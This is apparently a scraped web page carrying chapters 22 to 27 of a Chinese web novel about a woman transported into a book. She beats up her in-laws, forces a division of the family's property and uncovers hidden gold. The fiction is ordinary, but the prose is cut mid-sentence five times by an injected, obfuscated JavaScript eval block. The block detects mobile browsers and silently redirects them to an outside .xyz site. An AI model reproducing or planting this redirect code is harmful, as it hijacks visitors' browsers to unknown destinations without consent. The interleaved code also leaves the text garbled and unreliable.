另一位姨老太太彭氏为贵妾,她是最年轻的,看起来只和大夫人冯氏岁数差不多大。她是老太爷晚年后才纳的妾,儿女缘分没那么好,只生了四老爷霍安家一个儿子。不过霍安家的子女缘就好太多了,他娶了正房廖红絮,又先后纳了七房小妾。 相继生下老六霍羌、老八霍醇、老十霍靖、十一霍卿、十二霍中、十三霍珽(八个月大);六姐郭婉婷、七妹霍婉悠、八妹霍婉君(四岁)。 不过他们年龄还小,都还没成家,最大的霍羌仍比霍开小半岁,最小的霍霆是圈进后生的,只有八个月大。 所以,四房孙辈里除了霍羌外,其余都因年龄太小没来。 尹微月仔细一看,却发现今日的场景和书里的内容还是有差别的。 虽然三房、二房的霍邱母子、还有那些不够年龄的没来,可大房在场的只有老太太、冯氏、霍钧、霍东还有她,剩下的全是敌人。 霍东还小没有分院,所以一直和母亲冯氏一起住。这次二房、四房要闹分家,主事的冯氏肯定得在场,所以她们先去冯氏院里把她带到了老太太这儿。 霍东一看事不好,立刻去通知人,但这次他没有像原书内容那样去通知贺氏、苏氏、霍婉瑛,而是首先通知了尹微月,所以她们姑嫂三人至今还不知道。 尹微月领着霍东进来,她顺势望去,只见霍钧倒在地上用身体死死护着冯氏。一群女人打不着冯氏,所以对着霍钧又扯又拽又锤又撕又抓又挠,而这些疼痛全部同步反射到了她身上。 正在忍受疼痛的尹微月气急。 这男人除了被动挨打,主动挨揍外,果然没别的长处,若换做男主霍开,早就大杀四方了。 这时二房的长孙,也就是排行老三的霍山终于像原书里写的那样按耐不住了,他目露凶光,突然朝着老太太走去。 由于这一次老太太早被尹微月提前做过心理建设,她气归气,但没轻易被气中风,更没有从圈椅上掉下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656062|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看霍山这架势应该想把老太太推倒,然后拿着圈椅去打霍钧。 尹微月自是不会让他得逞,一个小跑上去就将人拽了回来,然后摁住他的右肩,二话不说“咣咣咣”赏了对方二十个大耳瓜子,还专挑左耳根子处下手。 霍山哪里知道尹微月力气这么大,直接给打晕圈了,左耳里头嗡嗡直响,他还没来的及做出任何反应,又被尹微月一个过肩摔狠狠摔在地上。 他痛苦的呻吟声惊了厅堂里所有人,正在抓挠霍钧的一群女人也停了手,他们母子的危机当即就解除了。 一直站在小刘氏身后的二夫人杜成茹看到儿子被打了,连忙跑上前扶住霍山的头,发现他左耳朵流出血来吓得大叫:“血,流血了,山儿!” “我的耳朵,母亲我左耳听不见了,尹氏打坏了我的耳朵!”霍山惊恐的捂住耳朵。 “夫君!”姜丽云见状慌张跑过来,看到霍山左边脸肿得像发面馒头,左耳孔的血已经滴在了耳垂上。 “尹氏,你仗着娘家势力,竟然敢殴打你的夫兄!”姜氏愤恨控诉。 “你不是一样打了夫弟,还连大伯娘一起殴了呢。”尹微月此时脸和脖子还在火辣辣的疼,语气自是不善。 她回头扫了一眼,冯氏被霍钧护得很好,只是衣服头发乱了些。而霍钧就惨了,脸上脖子上全是女人们挠出的血印子,条条深可见血。 男人这副惨样,可见她现在有多疼了,本来霍钧也就那张脸有点用,这下连唯一的“优势”也没了。 尹微月上前揪起姜氏在她左肋骨处猛地击了一拳,接着同样来了个过肩摔,然后还不忘把刚才“行凶”的女眷们挨个喂了套连环踢,算是给自己报了仇。 这下除了两位姨老太太、二夫人杜氏和四夫人廖氏外,其余女眷全在地上哀嚎。 “尹氏,还反了你了!”二老爷霍安民脸上挂不住了,自己的儿子、儿媳妇连带妾室全叫尹微月揍了,他脱下靴子冲上来就要用鞋底招呼。 尹微月见状一笑,她就喜欢这些主动送人头的。 23. 第23章 只见尹微月一把抓住霍安民拿靴子的手腕,然后用力一拧,咔嚓,手腕断了。接着抓住他的右手小臂一甩,男人“Duang”一声头撞在门框上。 尹微月这还不算完,将霍安民拽回来后再甩出去,头又撞在门框上。 七嫂威武! 一直站在她在身后的霍东,看尹微月一人大战一屋子人,对她的崇拜值直接封顶。他发誓一定要跟七嫂学武功,以后他也要保护家人。 而从未见识过尹微月武力值的二房四房众人,皆是一副见鬼的模样,从小娇生惯养的内阁大臣嫡长女,竟然会功夫! 这怎么可能? 怕不是叫母夜叉附身了吧? 尹微月可不知道,她在众人眼里已经成了母夜叉,只见她一顿操作猛如虎,直接帮大房扭转局势。 小刘氏一看,四房完全没有要帮他们二房说话的意思,终于坐不住了。她连忙起身跪在老太太脚边磕头,一点没有了刚来时的威风。 “别打了,再打下去安民必死无疑,求老太太,不,求姐姐快让尹氏住手罢!” 尹微月此番打主人给狗看的操作,威慑力十足。 彭氏一看这场面,知道他们落了下风,也坐不住了跟着一起跪下,连二老爷都被揍了,后面站着的两房男丁们自是通通跟着跪下了。 老太太红着眼默默望了这些人半晌,这些就是她儿子、孙子拼命要守护的人,真是讽刺至极! 她仰头将蓄满的泪水憋回去,最后盯着小刘氏淡淡道:“你这声姐姐我怕是担不起了。”随即又朝尹微月招了招手,“手打累了吧,到祖母这儿给你揉揉。” 众人:“……” 尹微月嘴角一翘:“不累,对付这些个蛀虫,小意思。”她扔下满脸是血的霍安民,走到老太太身边,这时一旁的人才敢跑过去检查状况。 小刘氏趴在霍安民身上痛哭。 昨日霍婉玉来送银子时她就知道三房这是要拿他们当枪使,可是只要能离开这个鬼地方,被利用他们也心甘情愿。 昨天他们两房商量了一整晚,自认不会有差错,可却唯独算漏了尹氏。 小刘氏没想到尹氏会替大房出头,明明她嫁进门两年多,就没一日不找婆母冯氏麻烦的。更没想到她竟然会武功,而且还不低,自己儿子和孙子都打不过她。 霍家最能打的除了在牢里的霍远霍坚外,就是霍开、霍邱和霍羌,可偏偏前两个混账东西没来,最后一个又不出手,真是气死她了。 尹氏背后有尹家做后盾,如今尹建章正得圣心万不能得罪。不过有一点她想不通,尹微月虽为霍钧之妻,但爱慕的人却是霍开,此事已闹得沸沸扬扬,尹氏怎么这个节骨眼上却突然和大房穿一条裤子了? 可不管什么原因,他们棋差一着,输了。 小刘氏:“姐姐,是我鬼迷心窍,我们不分家了,我愿一辈子侍候姐姐。还请姐姐看在我们血缘亲情的份上,求门外的侍卫给安民他们请个大夫吧。” 请大夫?想屁吃呢! 书里清清楚楚写着,就算霍家家眷全部死绝了,外面那些官兵也不可能让大夫进来。 尹微月一副无所谓的语气说道:“姨老太太多虑了,他们这点小伤死不了,不需要看什么大夫。 三哥不过是左耳朵聋了,但那不还有右耳朵好使嘛;三嫂只是左胸肋骨骨裂,既没断也没伤着肺,我都手下留情了呢;还有二叔,手腕断了,回去后随便拿树枝固定一下三五个月也能长好,虽说头也出点血,但回去用草木灰敷上养两天也就好了。至于其他婶婶嫂嫂们,不过肚子挨几脚,更没大碍了。” 这叫没大碍?小刘氏听完额头青筋都冒出来了,她继续哀求老太太:“姐姐,看在我们一母同胞的份上,求姐姐救救他们吧,我自知人微言轻,但姐姐可是老太爷的发妻,外面那些侍卫肯定会听姐姐的。” 尹微月被小刘氏吵烦了,外头是不可能让大夫进来的。既然她这次没能阻止三房陈氏的挑拨,不如干脆按照现在的实情调整战略——将分家进行到底。 不过这次可不能像书里写的那样,家怎么分得她说了算。 尹微月刚想开口,谁知这时霍钧顶着满脸血痕走上前,声音淡淡道:“大夫我们没本事请来,不过分家一事倒可以满足你们。祖母,请您写分家单将二房四房分出去吧,至于怎样把分家单呈给皇上,咱们办不了,家分了,出不出的去让他们自去想办法。” 真巧,这次他俩想到一块去了。 霍钧察觉到尹微月的视线,转过头就对上她澄澈的眸子,昨晚那一幕就这样毫无征兆闯入脑海。男人呼吸一窒,心跳突然跳快了一拍,不想别人发现异常,他装作无所谓淡淡移开眼。 尹微月是这样想的,目前的霍家根本就是一盘散沙,各人有各人的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673769|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,想要拧成一股绳是绝对不可能的。 距离流放还有半年时间。 若不分家,根据古代的传统礼教,流放路上就一定要和这帮人吃同吃,睡同睡。而且到了流放地自己准备的物资要这么多人一起分,光养大房她尚有信心,可若再多出五六十口四体不勤、五谷不分的蛀虫就难说了。 再说她愿意养大房很大一部分原因是自己生命与霍钧绑定,再就是看书时非常欣赏大房这些人,但她可没兴趣当其他几房的“奶妈”。 不如趁这次机会分家,以后桥归桥路归路,各过各的,谁也别给谁添麻烦。 再说,书里写外面的侍卫当时只打了去送分家单的霍钧,而至于是谁写的分家单、谁主张分家的却没有深查,就此揭过了。 所以分家后只要大房不去送分家单,那就不会有危险。 尹微月当即跟着拍板:“祖母,我也同意七郎的决定,既然这些人没把我们当一家人,强留也没意思,不如彻底分了吧。” 霍钧惊诧看向女人,她竟然站在他这边,关键又叫他“七郎”,男人心下有些热,这回却在即将要与她对视的时候,做贼似的抽离目光。 这下轮到小刘氏不依了。 “不,家我们不分了,妹妹知道错了,还请姐姐无论如何要给安民请个大夫,他也是您的庶子啊!” 二房伤了一大半,小刘氏现在哪里还有心情谈分家,就算写了分家单皇帝同不同意还两说呢,现在最重要的就是说服老太太,赶紧让她出头找侍卫给自己的子孙们请大夫,治病救命最要紧。 “我们要分家!”这时一直跪在后面的彭氏站起来,“老太太,我们同意分家,请您主持吧。”今天折损的全是二房的人,四房也就几个妾室被踢了几脚,无甚大碍。 彭氏头脑单蠢,仿佛只要老太太写了分家单,他们就一定能立刻走出霍府一样。 “彭氏,还不快跪下,以后这等大逆不道之言休要再提!”小刘氏回头痛斥,目前最主要的就是稳住老太太,让她赶快去请大夫。 虽然她俩都是老太爷的妾氏,可小刘氏身份一直比彭氏高一些,所以如今训斥起来毫无压力。 彭氏冷笑:“关于分家一事,昨日姐姐与我商量了一宿,现在又假惺惺说分家是大逆不道之言,不知哪句才是姐姐的真心话呢。” “你!”小刘氏没想到被彭氏背刺了。 24. 第24章 如今霍家风雨飘摇,各房都有各房的心思,这些人连老太太都不放在眼里,一个庶女出身的滕妾就更不放在眼里了。 老太太懒得听二人虚与委蛇,她拄着拐杖站起来,看着满地呻吟的所谓的家人们,颤颤巍巍走到房门口,抬头往天上看。 天还是当年那片天,金乌流云仿佛一切都没变,可她早已从绿鬓年华到了如今的桑榆之岁。这些年见证着霍家起起落落,努力了大半生,守护了大半生,到头来却是一场空。 既然到了如此地步,继续坚持还有什么意义呢? 所以这些无情无义的人和事,就在今日彻底斩断吧,她对得起老太爷,对得起霍家的列祖列宗,一切尽够了。 “好,分家!”她身子老态龙钟,但这三个字却铿锵有力。 一听到老太太同意了,尹微月松了一口气,大房虽然战斗力弱,但胜在关键时刻人人都能拎得清。 “分家是大事,必得四房的人都到齐才行。”尹微月可不想只把二房四房分出去,三房也得分出去,不说那张语琳重生后对霍钧就像个定时炸弹,光陈氏那样的她就受不了。 她让霍东把大房其他的人通知到,而通知三房就交给四房的人了。 小刘氏一看老太太这次铁了心不去请大夫,心里怨恨更深了,看着满脸鲜血的儿子,只能让儿媳妇杜氏带着两个妾室去大门央求侍卫请大夫。 …… 不一会儿人都到齐了,连陈氏也被霍开背着来了。 后到的人没经历先前的那一幕,乍听说要分家,除了早就知情的陈氏母女和霍邱母子外,其余都惊诧不已。 陈氏虽不惊讶,但没想到老太太竟然这么快同意分家,更没想到弱不拉几的大房除了霍钧满脸抓伤外,其余人一点没事,倒是战斗力比较强的二房却倒了一片。 这难不成真是尹微月那贱.人打的? 霍开见到这一地的伤残,也着实吃了一惊,二叔和三哥武艺虽不精进,但到底也是练家子,没想到被打得这么惨,看来他真是低估了尹微月的武力值。 “好了,既然大家都到齐了,那么咱们就开始商量如何分家吧。”尹微月站到老太太身边,再次毛遂自荐当了她的发言人,一下子就掌控了全场。 “祖母,二房四房如何分我不管,但我们三房不分家。”霍开张嘴就抢了自家老子的台词,一旁要说话的霍安宗只得又闭上嘴。 此话一出,背上的陈氏吐了一口老血,恨铁不成钢地锤了下他的后脑勺,她怎么就生了这么个棒槌。 先不说分家后能不能离开霍府,但若不分家,三房明面上的钱就得分给大房一半,那可是一笔不小的数目。 霍安宗无视陈氏带火星子的目光,他朝老太太行了礼说道:“儿子不孝,让母亲受苦了,但我们三房绝对不分家。” 霍邱也立刻附和:“我和姨娘也不分家。” 霍钧原本就只想把二房四房分出去,三房虽然也有错,但毕竟是嫡支。 这几人不愿分家在尹微月的意料之中,尤其霍邱,对大房一直抱有感恩之心。 霍邱出生那天被道士批命,说是天上的幻医天尊下凡,正逢老太太那阵身体不适,于是他便被抱到老太太膝下抚养,不久,老太太身体果然大好,于是就做主将霍邱养在大房,直到十岁那年才送回二房。 他身为庶子,却可以衣食无忧同霍开霍钧一同进太学,这多亏了大伯父霍安疆,他是一个知恩图报的人,要不然流放之初也不会背着重伤的霍钧赶路。 但霍邱必须分出去。 正因为流放初期他因恩情偏帮着大房,惹怒了小刘氏,二房骂他不分亲疏,于是流放路上他们母子被排挤,导致唐氏差点死去。这时候张语琳出手相助,从此霍邱就对她情根深种。 尹微月虽然没看到这里的剧情,但当时同桌给她推书时提过,书里霍邱一直不求回报默默守护张语琳。发乎情,止乎礼,将浓烈的爱埋在心底从未说出口,是个非常合格且深情的男配角。 直到他发现张语琳恨霍钧后,竟然不顾以前的恩情,在对付霍钧的过程里浓墨重彩狠狠添了一笔。 所以这些危险人物一定得远离。 可尹微月打量了一下老太太和霍钧,就知道他们没打算将三房分出去。她看看陈氏,又看看霍安宗,最后目光定格在霍开身上。 “三房永远不分家?真好笑,那你们昨晚为什么要着急忙慌给二房四房送银子挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686974|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唆?” 虽然分家之事比原书内容提前了四天,但尹微月笃定陈氏还是会和书里一样,给每房送一百两银子做诱饵。 “什么?!”这下不止霍安宗父子,就连老太太和大房的人都吃了一惊。 陈氏母女四人心肝一颤。 霍开将陈氏放下让她背靠着三个姐姐,此刻眼神犀利又失望。 “是真的吗?”面对霍开的质问,陈氏慌了,这尹氏是妖魔上身么?怎么什么都知道! 沉寂了一瞬后。 “好啊,好啊,好啊。”老太太一连说了三个好,可是心脏处却像被捅了三刀,她唇角牵起一抹苦涩,皱纹深刻的脸上写满了悲凉。 她眼神仿佛穿透了眼前的子孙,看到了自己年轻时候,回到那年秋天葡萄架下的凉亭里,几个孩子围着她欢快嚷嚷“母亲抱抱”的画面。 “我老了,你们也都长大了,自古树大分叉、人大分家,是到了该割舍的时候了。” 霍钧知道老太太伤心了,三叔是她的亲儿子,没想到分家竟然是他们先挑的头,既然如此那也不必强留了,分了干净。 “我来写分家单。”接着霍钧又驾轻就熟地从衣摆撕下一块布,咬破手指挤血就要写。 “嘶~”尹微月倒吸一口气,脸还在火辣辣痛着,谁料一个没看住手指又遭罪了,她赶忙上前摁住他伤口。 霍钧身体一僵。 女人的指腹温温热热,两人离得这么近,属于她的味道就那样窜入鼻子,被咬的伤口仿佛都不疼了。 霍钧掀了掀眼睫,她不打人不骂人的时候,其实……挺美的。 尹微月可不知道一个“自救”的动作,竟让霍钧遐想了那么多,她张口便吼了一声:“怎么这么不爱惜自己的身体,你不知道疼吗?” 众人都在惊诧,为何尹微月一夜之间改变了对霍钧的态度,尤其霍婉玉,她十分清楚尹家这嫡女有多喜欢自己五弟和多讨厌霍钧。 今日尹氏实在反常,莫非真的中邪了? 然而只有小霍东觉得自己找到了真相。 那些说七嫂讨厌七哥喜欢五哥的简直胡说八道,七嫂明明就很喜欢七哥,甚至爱屋及乌,连带着都喜欢他了呢。 25. 第25章 吼完霍钧,尹微月转身去了灶房,她拿了个碗,在里面放一点点清水,又拿了一双筷子,准备好后快速回到厅里。 接着不可思议的一幕发生了。 在场除了大房的人外,从小刘氏和彭氏开始,所有成年人全都被尹微月一拳打破鼻子,无一幸免。 众人捂着鼻子大骂,那场面像是要把尹微月生吞活剥了。 她见状快速甩出一句:“分家是大家伙儿的事,凑“墨水”可不能只让我家七郎一个人扛,有意见的要么就不分,要么就和我打一场。” 听着最后一句大家都怂了,但让霍开认怂那不现实,可惜他被同样流鼻血的张语琳死死拽住。 场面算是控制住了,尹微月挨个把鼻血接进碗里,她用筷子不停搅拌,很快一碗浓稠但暂时不凝固的“鼻血墨水”制作好了。这是前世她在深山时和大姐学做猪血肠的经验,虽然有点恶心,但很实用。 她交给霍钧,男人盯着碗愣了三秒钟,然后默默端过来。 这时尹微月装模作样替老太太问一句:“真要分家吗?大家可想清楚了,白纸黑字一落,从此我们就是正正经经的四家人,再无任何瓜葛。”说完她看霍开还要张嘴,连忙补了一句,“霍开霍邱是小辈,没有发言权。” 霍开气笑了,他若是小辈,那她尹微月算什么? 彭氏捂着鼻子恨恨看着尹微月,但也懂分家的档口最好别得罪尹家,以免节外生枝,但有些话还是要说的。 按照这书里的设定,分家是把公中的财物拿出来分,但自己小家的财物却不用拿出来均分。 “家肯定是要分的,但现在是霍家分家,可不是尹家分家,公中的财物必须公平分配,若你倚仗尹家强行分得不公,我一定……一定……” “一定怎么样?”尹微月挑眉,无所谓地反问。 “若分得不公,你一定遭报应!”彭氏脸涨得通红,人为刀俎我为鱼肉,就算家分得不公,她发现除了诅咒一下尹微月,他们毫无办法。 呵~ 尹微月嗤笑,要是诅咒有用的话,世界上的人类早死绝了。 霍钧脸色一沉:“府内上上下下早就给抄得一干二净,软禁也已近两年,我们大房苦苦支撑,哪还有什么公中财物?签了分家单,你们就速速离去吧。” 刚说完,杜氏几个人脸颊红肿哭着跑进来,“母亲,那些侍卫不是人,他们收了我的银子却出尔反尔不给请大夫,还出手打我们!” “什么?!”小刘氏气急攻心差点没站稳,她看着昏迷的儿子,最后她闭上眼深吸一口气,“听老七这意思,是要一张分家单打发了我们。” “不然呢?”霍钧反问。 “哼,做梦!要么不分家去给我儿请大夫,要么拿着公中财物来跟我们谈分家。尹氏是很能打没错,若不同意,那今天就把我们这些人全打死吧。我们奈何不了,看等到了地底下,霍家列祖列宗和阎王爷能不能饶了你们大房!” 尹微月看小刘氏一副死猪不怕开水烫的模样,有些懊恼。根本不可能把这么多口子人全抹脖子,就算打得过,她也不是杀人狂魔。 一时间,分家进入了白热化,陈氏在一旁看好戏,这正是她最想看到局面。把大房仅剩的财物分出去,届时大房无力支撑来找她要银子,她只要把分家单一亮,大房毛都捞不到。 没错,王公公当年是说要给大房留一半财物,可谁让他们分家前不来拿呢?只要分了家,之前的一切都不作数了。到那时她再略微装装样子,发善心拿出三五十两给大房,堵住丈夫和自己那不孝子的嘴。 就算最后出不去霍府,他们三房也没有损失,若老天保佑能出得去霍府,她拿自己藏的那些首饰买屋置地,逍遥自在过日子,大房爱关多久关多久,通通饿死才好呢。 这么一想,她的屁股似乎都疼得轻了。 这时老太太开口道:“老七,你去将你媳妇昨晚拿走的东西分成四份,咱们一家一份,都写分家单上。” “是,祖母。”霍钧点头,他知道现在分的都是大房自己的东西,虽然吃亏但如也今只能这样,否则这事不知要闹到什么时候。 不过好在三房那里还有大房一半的财物,应该可以撑好一阵子。三叔三婶就是再混账毕竟也是一家人,肯定不会因为一张分家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706563|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单就扣下那些东西。 尹微月想了想觉得这样不妥。 老太太这样做,是因为她完全相信自己的儿子媳妇。可是当分完家后大房再去要王公公留下的财物,陈氏只要把分家单拿出来,大房就傻眼了。 只要陈氏打定主意寻死觅活,霍安宗和霍开就绝对不敢强行给,所以老太太这次赌血缘亲情,结果必输。 虽然原身留下的钱物养着大房绰绰有余,可尹微月就是不愿意看陈氏这个始作俑者得逞。 但若是现在当众挑明王公公抄家时曾给他们留下财物,那么就必定要四房一起分,而且二房四房想到两年里的节衣缩食一定心生怨怼。哪怕今天将王公公留下的这些东西均分,他们也不会感恩,只会觉得理所当然。 而且当他们发现写好分家单后根本出不了府时,那这些怨恨就会成倍增加,说不好哪天就给大房来点阴的。 所以两年前王公公的事绝对不能说,正一筹莫展之际,尹微月好似突然想到什么,抬眼去看霍婉玉,后者冷不丁被她一看,莫名心虚赶紧垂下眼。 尹微月一笑,此时她成竹在胸,一个计划浮上心头。 她拉住要去房里拿东西的霍钧。 “两位姨老太太,大房穷得叮当响,饭都只能一天吃一顿,人人瘦得跟竹竿子似的,分这仨瓜俩枣有啥意思。” 小刘氏瞪她:“老太太都发话了,你凭什么拦挡?不会是想霸着财物不想分吧?” “哼,狗咬吕洞宾,不识好人心!”尹微月冷笑,“我本来想把自己的体几拿出来分给你们,谁知你们这么不识好歹!” “你的体几?”这下一屋子目光齐刷刷看向她。 “我可是父亲母亲的心尖宠,你们不会以为这两年尹家只给我送一日三餐吧?” “我母亲暗中送来许多钱物,但你们都知道,几天前我还爱霍开爱得死去活来,所以这些钱物我没给大房,而是每次借着请安的机会全部给了三婶。” 此话一出,几房人眼珠子都要瞪出来了,尤其霍开,一副“我谢谢你二大爷”的无语表情,他立刻质问陈氏:“母亲,你为什么要收!” 26. 第26章 陈氏大喊冤枉。 “没有,她哪里给过我银钱,每天来请安是真的,可最多拿些吃食!” “到底拿了多少钱,马上还给她。”霍开已经原地爆炸,这就好比狼来了的故事,陈氏就是那撒谎的牧童,她的信任度已经为零。 “真没给钱!”这次陈氏是真的冤枉,可惜没人再信她。 尹微月往前走了两步:“拿都拿了,还假惺惺说什么还,满屋子都是我的东西,若真还了,你们三房都要去喝西北风了。” 陈氏大吼:“胡说,你这小贱.人满嘴谎言,那些明明就是——” 尹微月挑眉:“明明就是什么?” 陈氏话在嘴边却说不得,她虽然撒泼但却不傻。她可不敢说是王公公特意留下的,否则头号公敌不是大房,而是三房了。 尹微月又道:“你们非要在这时候闹分家,虽然有点不是人了些,但好歹曾经咱们也是一家人。老太太一向将二房四房视如己出,虽然你们两房是庶出,而我公公婆婆却很珍惜这手足之情,他们定舍不得你们吃苦。如此就将我留在三房的财物均分了吧,分三份就成,我们大房发扬风格,就不要了。” 大房所有人:“……” 发扬屁的风格,人都要饿死了,还搞什么虚头巴脑! 现在不光陈氏,大房也都气疯了。 尹微月仿佛一点感受不到大家的怒火,反而给二房、四房划重点。 “两位姨老太太可要擦亮眼睛,我给三房太多东西了,即使分三份,凭那些钱财再关十年八年也没问题。不过大房自动放弃应得的那份,也是有条件的,分家单你们自己往外递,出不出的去也是你们自己想办法。若不同意,我就去三房收回我所有东西,你们分大房这点吧。” 二房、四房一合计,就算老太太去送分家单,出府的几率也不好说,不如先把钱财分到手,这可是实打实的。 “好,我们同意。” 尹微月一副意料之中的表情,她又走到霍开跟前,扬手就把他的衣袍撩起来。 “你做甚么?”霍开被吓到了。 “当然是用你的袍子作纸,怎么,你这是不愿意写分家单,还想吃弟媳妇的软饭?” “轰”一下,霍开脸红到耳朵根。 他快速撕下一大块衣袍,“拿去,拿去,快拿去!” 尹微月笑吟吟接过,分成四等份,然后递给霍钧,“每一款每一项都要写仔细了。” 于是霍钧罗列了满满当当的,尹微月看完觉得没有问题,让在场所有人签名摁手印。 大房自是都不愿意,本来即将到手的钱又飞了。 老太太叹口气,要不是尹微月说出当年王公公的事,他们现在也不知道,罢了,就当空欢喜一场。 “就按照老七媳妇说的,咱们签字画押,从此就是四家人了。” 老太太都说了,冯氏也懒得说,于是也跟着签字,紧接着霍钧、贺氏、苏氏和霍婉瑛都相继摁下手印。霍东现在就是尹微月的小迷弟,他坚定相信七嫂这么做一定有七嫂的用意,于是高高兴兴签字按手印。 二房、四房也欢欢喜喜摁完了,只剩下三房。 霍开不愿意分家,陈氏不舍得财产,本来不闹这出,她只要分两份,现在要分三份。 陈氏大叫:“尹氏,我要撕了你!” 尹微月没理,反而看向霍开:“都到这一步了还不肯签字摁手印,看样子是真想吃弟媳妇的软——” 尹微月没说完,霍开紧紧握着陈氏的手签名按手印,又快速签好自己的,然后交给交给霍安宗。 尹微月在心里狂笑,这男主有点傻气。 “尹氏,小贱.人,你不得好死。”看着丈夫儿子闺女一一签字按了手印,陈氏只觉心在滴血。 尹微月没出声,只是笑了一下,陈氏顿觉那笑有些阴森。 果不其然,下一秒—— “因为这些财物全都是我尹家的,自然由我分配,我不管三房以前是谁当家,可我的东西必须全归五嫂嫂管,三婶不得过手一分一厘。七郎,你再替我拟定一个章程,让五哥三婶签字。” 陈氏疯了,恨不能一刀了结尹微月,这是要夺她的管家权啊。 最诧异的当属张语琳。 从前尹微月一见面就跟她对着干,仿佛两人有血海深仇,可这次却反其道而行之,实在让人捉摸不透。不过若她真能得了管家权,那往后日子就能好过一点了。 于是张语琳朝尹微月一笑,真心实意感谢她,后者也点头微笑回敬。 尹微月进到书里,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712231|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张语琳接触后,就更加喜欢和欣赏她了,其实这么做,除了向书中的气运之女示好之外,最主要的原因就是张语琳重生之时,会同时绑定空间。 原文里写到,重生节点是流放当天,她身上只有五十两银子,路上借助空间偷跑出去买粮食布匹和食盐,可由于银钱太少,空间仅仅十平米,却只装了一半。 尹微月想,如果张语琳掌握了管家权,流放那天能多带出点银子,那么就有机会多买点粮食和食盐,她十平米的空间就能装满了。只要张语琳能将这些用空间带进深山,保不齐以后会沾点光。 没一会儿功夫,霍钧就拟定好了,他懂尹微月的意思,所以写的很直白,霍开直接拿过来,让老娘再次按手印。 陈氏就这样失去了二十多年的管家权,她以为没有什么比这个更惨的了,谁知尹微月又说道: “两位姨老太太可要看仔细了,不要光分明面上的财物,在三婶的卧房正东有一个衣柜,搬开衣柜从下往上数第五块砖能够拿下来。砖块拿下来后里面有个红色的按钮,按一下卧房的床头会自动分开,里面放了一个两尺见方的木匣子,装的可全是我送的金首饰,每一样都是名家打造。” “啊——”攒了这么多年的首饰都没了,为什么尹微月会知道,她就是个妖怪。陈氏一口气没上来,晕了过去。 一听有一匣子金首饰,四房的人一溜烟全跑了,目的地是三房。 而二房的人也想跑,可无奈全都是伤残人士,几个女人分成两拨,一拨人抬着霍安民,一拨人扶着霍山。 人手不够,小刘氏没人搀扶,只得迈着小脚,颤颤巍巍往三房赶。 所有人都离开了,那些王公公留下的财物也没了,大房几人说不失落是假的,可也没有一个人指责尹微月,给她脸色看。 霍婉瑛看着六个孩子叹气,看来往后她还得再少吃一点,多给孩子们挤出些,实在不行,把祖母的拐杖当了,估计还能再撑个两年。 尹微月看着他们一个个像霜打的茄子,也不再卖关子:“他们去三房分财产,咱们去后院戏台子。” 霍东来了精神:“七嫂,那戏台子自从抄家后就废弃了,咱们去那干什么?” 尹微月在他脑门弹了一下,“挖金子。” 众人:“?” 27. 第27章 就在刚刚为如何分家而胶着时,尹微月突然记起书中一个细节,书中写流放要上路时,霍婉玉不舍地回头看了一眼霍府。 当时她的内心独白是:可惜了尹微月给的金子,明明自己就埋在戏台子东侧往西六步的位置,那可是五百两啊,怎么就没了呢? 因为尹微月当时看书只顾看精彩部分,对这句配角的内心独白没太在意,所以刚刚才想起来。 既然有五百两金子,他们大房何须再去闹腾分财物,况且用王公公的财物,换二房、四房自愿去大门外送分家单,多好的事。 